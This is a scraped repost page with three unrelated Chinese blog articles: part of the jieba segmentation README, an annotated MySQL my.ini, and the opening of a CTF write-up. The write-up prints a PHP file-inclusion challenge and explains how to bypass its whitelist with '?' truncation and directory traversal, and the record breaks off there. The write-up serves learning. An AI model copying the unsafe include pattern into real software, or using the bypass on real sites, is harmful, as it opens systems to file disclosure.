不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
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...读取配置文件,请使用启动选项“——default -file”。 To run the server from the command line, execute this in a command line shell, e.g. mysqld --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要从命令行运行服务器,请在命令行shell中执行,例如mysqld——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" To install the server as a Windows service manually, execute this in a command line shell, e.g. mysqld --install MySQLXY --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要手动将服务器安装为Windows服务,请在命令行shell中执行此操作,例如mysqld——install MySQLXY——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" And then execute this in a command line shell to start the server, e.g. net start MySQLXY 然后在命令行shell中执行这个命令来启动服务器,例如net start MySQLXY Guidelines for editing this file编辑此文件的指南 ---------------------------------------------------------------------- In this file, you can use all long options that the program supports. If you want to know the options a program supports, start the program with the "--help" option. 在这个文件中,您可以使用程序支持的所有长选项。如果您想知道程序支持的选项,请使用“——help”选项启动程序。 More detailed information about the individual options can also be found in the manual. For advice on how to change settings please see https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html 有关各个选项的更详细信息也可以在手册中找到。有关如何更改设置的建议,请参见https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html CLIENT SECTION 客户端部分 ---------------------------------------------------------------------- The following options will be read by MySQL client applications. Note that only client applications shipped by MySQL are guaranteed to read this section. If you want your own MySQL client program to honor these values, you need to specify it as an option during the MySQL client library initialization. MySQL客户机应用程序将读取以下选项。注意,只有MySQL提供的客户端应用程序才能阅读本节。如果您希望自己的MySQL客户机程序遵守这些值,您需要在初始化MySQL客户机库时将其指定为一个选项。 [client] pipe= socket=MYSQL port=3306 [mysql] no-beep default-character-set= SERVER SECTION 服务器部分 ---------------------------------------------------------------------- The following options will be read by the MySQL Server. Make sure that you have installed the server correctly (see above) so it reads this file. MySQL服务器将读取以下选项。确保您已经正确安装了服务器(参见上面),以便它读取这个文件。 server_type=3 [mysqld] The next three options are mutually exclusive to SERVER_PORT below. 下面的三个选项对SERVER_PORT是互斥的。skip-networking enable-named-pipe 共享内存 skip-networking enable-named-pipe shared-memory shared-memory-base-name=MYSQL The Pipe the MySQL Server will use socket=MYSQL The TCP/IP Port the MySQL Server will listen on port=3306 Path to installation directory. All paths are usually resolved relative to this. basedir="C:/Program Files/MySQL/MySQL Server 8.0/" Path to the database root datadir=C:/ProgramData/MySQL/MySQL Server 8.0/Data The default character set that will be used when a new schema or table is created and no character set is defined 创建新模式或表时使用的默认字符集,并且没有定义字符集 character-set-server= The default authentication plugin to be used when connecting to the server 连接到服务器时使用的默认身份验证插件 default_authentication_plugin=caching_sha2_password The default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL,则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上,并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上,但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储,Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
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...文件包含 环境我已经启动了 去访问一下 源码有提示 去访问一下 然后看到了源码 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 这里白名单里给了一个提示 尝试直接去访问它 报错了… 尝试穿越目录去访问 依然报错了 看源码吧 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单/hint.php?flag 进行绕过 进行目录穿越就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img 